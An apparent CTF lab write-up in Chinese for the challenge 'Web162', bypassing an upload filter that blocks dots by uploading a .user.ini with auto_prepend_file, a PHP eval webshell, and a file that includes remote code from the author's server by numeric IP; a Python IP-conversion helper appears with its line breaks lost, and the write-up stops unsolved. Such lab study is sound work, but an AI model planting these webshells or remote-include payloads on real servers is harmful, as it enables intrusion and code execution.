Web162
进入界面:
思路
先传个文件测试一下过滤:
过滤了特别多符号,注意过滤了点.
我们的思路还是要先上传.user.ini文件:
//修改前
GIF89a
auto_prepend_file=shell.png//由于过滤了点,所以修改为
GIF89a
auto_prepend_file=shell
上传.user.ini文件
接下来就是上传包含一句话木马或恶意命令的shell文件。
因为过滤了点,所以我们之前的那些上传方法都不能使用。
这里学习一个新的上传方法:远程文件包含。
现在自己的服务器里写一个shell文件:
<?php @eval($_POST[1]);?>
然后上传一个远程调用文件到目标靶机:
GIF89a
<?=include"http://数字IP/shell"?>
这里的数字IP是指自己服务器的IP地址的纯数字形式.下面是相关脚本:
#IP转换为长整型
def ip2long(ip):ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制result = 0for i in range(4): #0,1,2,3result = result+int(ip_list[i])*256**(3-i)return result#长整型转换为IP
def long2ip(long):floor_list = []num = longfor i in reversed(range(4)):res = divmod(num,256**i)floor_list.append(str(res[0]))num = res[1]return '.'.join(floor_list)print(ip2long('服务器ip地址'))
上传远程调用文件,后缀设置为.png,抓包修改文件名为shell,成功上传。访问/upload目录:
告警,大意是不允许包含外部网站的内容。
到这里卡住了,看了一些WP,说是要用flask。但是上述远程文件包含的思路是对的,使用flask的内容之后再补上。